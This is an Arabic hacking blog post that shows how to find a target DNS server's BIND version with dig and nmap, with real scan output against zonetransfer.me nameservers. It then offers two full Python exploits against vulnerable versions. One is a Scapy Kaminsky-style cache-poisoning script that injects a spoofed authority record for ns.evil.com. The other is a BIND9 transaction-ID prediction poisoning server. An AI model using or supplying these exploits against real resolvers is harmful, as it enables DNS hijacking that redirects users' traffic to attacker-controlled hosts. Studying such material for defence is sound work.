4chieve THE T4RG3T /DNS server version
السلام عليكم ورحمة الله وبركاتة،
اليوم بما انها ختامية لمرحله الدي ان اس راح نتطرق لكيفيه استخراج اصدار سيرفر الدي ان اس على الهدف من خلال الادوات التاليه
١- Nmap
2- Dig
بدون مقدمات راح اشرح على طول بالاول معروف انه السيرفر يكون متصل بخادم دي ان اس من خلال بورت 53 وعلى بروتوكول TCP/IP طبعا لو قمنا بالسكان على مزود الخدمه للدي ان اس.
لنفرض ان
كود PHP:
zonetransfer.me
كود PHP:
dig zonetransfer.me NS +short
المطلوب هو استخراج النيم السيرفر المسؤل
اقتباس:
sh-3.2# dig zonetransfer.me +short 217.147.180.162 sh-3.2# dig zonetransfer.me NS +answer; <<>> DiG 9.7.6-P1 <<>> zonetransfer.me NS +answer ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46631 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 2 ;; QUESTION SECTION: ;zonetransfer.me. IN NS ;; ANSWER SECTION: zonetransfer.me. 7200 IN NS ns16.zoneedit.com. zonetransfer.me. 7200 IN NS ns12.zoneedit.com. ;; ADDITIONAL SECTION: ns12.zoneedit.com. 4797 IN A 209.62.64.46 ns16.zoneedit.com. 6182 IN A 69.64.68.41 ;; Query time: 248 msec ;; SERVER: 192.168.1.254#53(192.168.1.254) ;; WHEN: Wed Jul 2 19:08:49 2014 ;; MSG SIZE rcvd: 115 |
كود PHP:
dig @ns16.zoneedit.com version.bind chaos txt | grep \"
اقتباس:
sh-3.2# dig @ns12.zoneedit.com version.bind chaos txt | grep \" VERSION.BIND. 0 CH TXT "8.4.X" |
كود PHP:
Nmap -sS -sV -O -v ipaddres or dmoain -p 53
اقتباس:
Starting Nmap 6.01 ( http://nmap.org ) at 2014-07-02 19:19 EDT NSE: Loaded 17 scripts for scanning. Initiating Ping Scan at 19:19 Scanning ns16.zoneedit.com (69.64.68.41) [4 ports] Completed Ping Scan at 19:19, 0.55s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 19:19 Completed Parallel DNS resolution of 1 host. at 19:19, 0.92s elapsed Initiating SYN Stealth Scan at 19:19 Scanning ns16.zoneedit.com (69.64.68.41) [1 port] Discovered open port 53/tcp on 69.64.68.41 Completed SYN Stealth Scan at 19:19, 0.32s elapsed (1 total ports) Initiating Service scan at 19:19 Scanning 1 service on ns16.zoneedit.com (69.64.68.41) Completed Service scan at 19:19, 6.55s elapsed (1 service on 1 host) Initiating OS detection (try #1) against ns16.zoneedit.com (69.64.68.41) NSE: Script scanning 69.64.68.41. Nmap scan report for ns16.zoneedit.com (69.64.68.41) Host is up (0.35s latency). PORT STATE SERVICE VERSION 53/tcp open domain ISC BIND 8.4.X Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9 - 2.6.18 Uptime guess: 33.943 days (since Thu May 29 20:41:44 2014) TCP Sequence Prediction: Difficulty=254 (Good luck!) IP ID Sequence Generation: All zeros |
اقدم لكم ثغرات لبعض الاصدرات المصابة
BIND 9.x Remote DNS Cache Poisoning Flaw Exploit
اقتباس:
from scapy import * import random# Copyright (C) 2008 Julien Desfossez <ju@klipix.org> # http://www.solisproject.net/ # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # This script exploit the flaw discovered by Dan Kaminsky # http://cve.mitre.org/cgi-bin/cvename...=CVE-2008-1447 # http://www.kb.cert.org/vuls/id/800113 # It tries to insert a dummy record in the vulnerable DNS server by guessing # the transaction ID. # It also insert Authority record for a valid record of the target domain. # To use this script, you have to discover the source port used by the vulnerable # DNS server. # Python is really slow, so it will take some time, but it works :-) # IP to insert for our dummy record targetip = "X.X.X.X" # Vulnerable recursive DNS server targetdns = "X.X.X.X" # Authoritative NS for the target domain srcdns = ["X.X.X.X"] # Domain to play with dummydomain = "" basedomain = ".example.com." # sub-domain to claim authority on domain = "sub.example.com." # Spoofed authoritative DNS for the sub-domain spoof="ns.evil.com." # src port of vulnerable DNS for recursive queries dnsport = 32883 # base packet rep = IP(dst=targetdns, src=srcdns[0])/ \ UDP(sport=53, dport=dnsport)/ \ DNS(id=99, qr=1, rd=1, ra=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=DNSQR(qname=dummydomain, qtype=1, qclass=1), an=DNSRR(rrname=dummydomain, ttl=70000, rdata=targetip, rdlen=4), ns=DNSRR(rrname=domain, rclass=1, ttl=70000, rdata=spoof, rdlen=len(spoof)+1, type=2) ) currentid = 1024 dummyid = 3 while 1: dummydomain = "a" + str(dummyid) + basedomain dummyid = dummyid + 1 # request for our dummydomain req = IP(dst=targetdns)/ \ UDP(sport=random.randint(1025, 65000), dport=53)/ \ DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=DNSQR(qname=dummydomain, qtype=1, qclass=1), an=0, ns=0, ar=0 ) send(req) # build the response rep.getlayer(DNS).qd.qname = dummydomain rep.getlayer(DNS).an.rrname = dummydomain for i in range(50): # TXID rep.getlayer(DNS).id = currentid currentid = currentid + 1 if currentid == 65536: currentid = 1024 # len and chksum rep.getlayer(UDP).len = IP(str(rep)).len-20 rep[UDP].post_build(str(rep[UDP]), str(rep[UDP].payload)) print "Sending our reply from %s with TXID = %s for %s" % (srcdns[0], str(rep.getlayer(DNS).id), dummydomain) send(rep, verbose=0) # check to see if it worked req = IP(dst=targetdns)/ \ UDP(sport=random.randint(1025, 65000), dport=53)/ \ DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=DNSQR(qname=dummydomain, qtype=1, qclass=1), an=0, ns=0, ar=0 ) z = sr1(req, timeout=2, retry=0, verbose=0) try: if z[DNS].an.rdata == targetip: print "Successfully poisonned our target with a dummy record !!" break except: print "Poisonning failed" |
ISC BIND 9 Remote Cache Poisoning Vulnerability
اقتباس:
#!/usr/bin/env python""" DNS Cache Poison v0.3beta by posedge based on the Amit Klein paper: http://www.trusteer.com/docs/bind9dns.html output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error> id: ID to predict q: number of queries from the DNS server (only queries with LSB at 0 in ID) g: number of good predicted IDs e: number of errors while trying to predict a *supposed to be* predicted ID """ import socket, select, sys, time from struct import unpack, pack from socket import htons _ANSWER_TIME_LIMIT = 1.0 # 1sec _NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], \ [<your_dns2_hostname>, <your_dns2_ip>], \ [<etc>, <etc>]] class BINDSimplePredict: def __init__(self, txid, bind_9_2_3___9_4_1=True): self.txid = txid self.cand = [] if bind_9_2_3___9_4_1 == True: # For BIND9 v9.2.3-9.4.1: self.tap1=0x80000057 self.tap2=0x80000062 else: # For BIND9 v9.0.0-9.2.2: self.tap1=0xc000002b # (0x80000057>>1)|(1<<31) self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31) self.next = self.run() return def run(self): if (self.txid & 1) != 0: #print "info: LSB is not 0. Can't predict the next transaction ID." return False #print "info: LSB is 0, predicting..." # One bit shift (assuming the two lsb's are 0 and 0) for msb in xrange(0, 2): self.cand.append(((msb<<15)|(self.txid>>1)) & 0xFFFF) # Two bit shift (assuming the two lsb's are 1 and 1) # First shift (we know the lsb is 1 in both LFSRs): v=self.txid v=(v>>1)^self.tap1^self.tap2 if (v & 1) == 0: # After the first shift, the lsb becomes 0, so the two LFSRs now have # identical lsb's: 0 and 0 or 1 and 1 # Second shift: v1=(v>>1) # 0 and 0 v2=(v>>1)^self.tap1^self.tap2 # 1 and 1 else: # After the first shift, the lsb becomes 1, so the two LFSRs now have # different lsb's: 1 and 0 or 0 and 1 # Second shift: v1=(v>>1)^self.tap1 # 1 and 0 v2=(v>>1)^self.tap2 # 0 and 1 # Also need to enumerate over the 2 msb's we are clueless about for msbits in xrange(0, 4): self.cand.append(((msbits<<14)|v1) & 0xFFFF) self.cand.append(((msbits<<14)|v2) & 0xFFFF) return True; class DNSData: def __init__(self, data): self.data=data self.name='' for i in xrange(12, len(data)): self.name+=data[i] if data[i] == '\x00': break q_type = unpack(">H", data[i+1:i+3])[0] if q_type != 1: # only type: A (host address) allowed. self.name = None return def response(self, ip=None): packet='' packet+=self.data[0:2] # id packet+="\x84\x10" # flags packet+="\x00\x01" # questions packet+="\x00\x01" # answer RRS packet+="\x00\x00" # authority RRS packet+="\x00\x00" # additional RRS packet+=self.name # queries: name packet+="\x00\x01" # queries: type (A) packet+="\x00\x01" # queries: class (IN) packet+="\xc0\x0c" # answers: name if ip == None: packet+="\x00\x05" # answers: type (CNAME) packet+="\x00\x01" # answers: class (IN) packet+="\x00\x00\x00\x01" # answers: time to live (1sec) packet+=pack(">H", len(self.name)+2) # answers: data length packet+="\x01" + "x" + self.name # answers: primary name else: packet+="\x00\x01" # answers: type (A) packet+="\x00\x01" # answers: class (IN) packet+="\x00\x00\x00\x01" # answers: time to live (1sec) packet+="\x00\x04" # answers: data length packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # IP #packet+="\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00 \x00" # Additional return packet class DNSServer: def __init__(self): self.is_r = [] self.is_w = [] self.is_e = [] self.targets = [] self.named_conf = [] for i in xrange(len(_NAMED_CONF)): start = 0 tmp = '' for j in xrange(len(_NAMED_CONF[i][0])): if _NAMED_CONF[i][0][j] == '.': tmp += chr(j - start) tmp += _NAMED_CONF[i][0][start:j] start = j + 1 tmp += chr(j - start + 1) tmp += _NAMED_CONF[i][0][start:] + "\x00" self.named_conf.append([tmp, _NAMED_CONF[i][1]]) return def run(self): self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.s.bind(('',53)) self.is_r.append(self.s) next = False i = 0 while 1: r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0) if r: try: data, addr = self.s.recvfrom(1024) except socket.error: continue txid = unpack(">H", data[0:2])[0] p=DNSData(data) if p.name == None: continue found = False for j in xrange(len(self.named_conf)): if p.name == self.named_conf[j][0]: found = True break if found == True: self.s.sendto(p.response(self.named_conf[j][1]), addr) continue # FIXME: wrong code, 'i' is 0 at begin and when 1 item in list... for i in xrange(len(self.targets)): if self.targets[i][0] == addr[0]: break if i == len(self.targets): self.targets.append([addr[0], False, time.time(), [None, None], \ None, 0, 0, 0]) if self.targets[i][1] == False: bsp = BINDSimplePredict(txid) self.targets[i][1] = bsp.next self.targets[i][3][0] = bsp.cand bsp = BINDSimplePredict(txid, False) self.targets[i][3][1] = bsp.cand else: if p.name == self.targets[i][4]: elapsed = time.time() - self.targets[i][2] if elapsed > _ANSWER_TIME_LIMIT: print 'info: slow answer, discarding (%.2f sec)' % elapsed else: self.targets[i][5] += 1 found_v1 = False found_v2 = False for j in xrange(10): if self.targets[i][3][0][j] == txid: found_v1 = True break if self.targets[i][3][1][j] == txid: found_v2 = True break if found_v1 == True or found_v2 == True: self.targets[i][6] += 1 else: self.targets[i][7] += 1 # TODO: if found_v1 or found_v2 is True, then show bind version! print "\n" + str(i) + ' target:', self.targets print '%f:%s:%d: id: %04x q: %d g: %d e: %d' % (time.time(), \ addr[0], addr[1], txid, self.targets[i][5], \ self.targets[i][6], self.targets[i][7]) self.targets[i][1] = False self.targets[i][2] = time.time() self.targets[i][4] = "\x01" + "x" + p.name self.s.sendto(p.response(), addr) return def close(self): self.s.close() return if __name__ == '__main__': dns_srv = DNSServer() try: dns_srv.run() except KeyboardInterrupt: print 'ctrl-c, leaving...' dns_srv.close() |
تعليقات
إرسال تعليق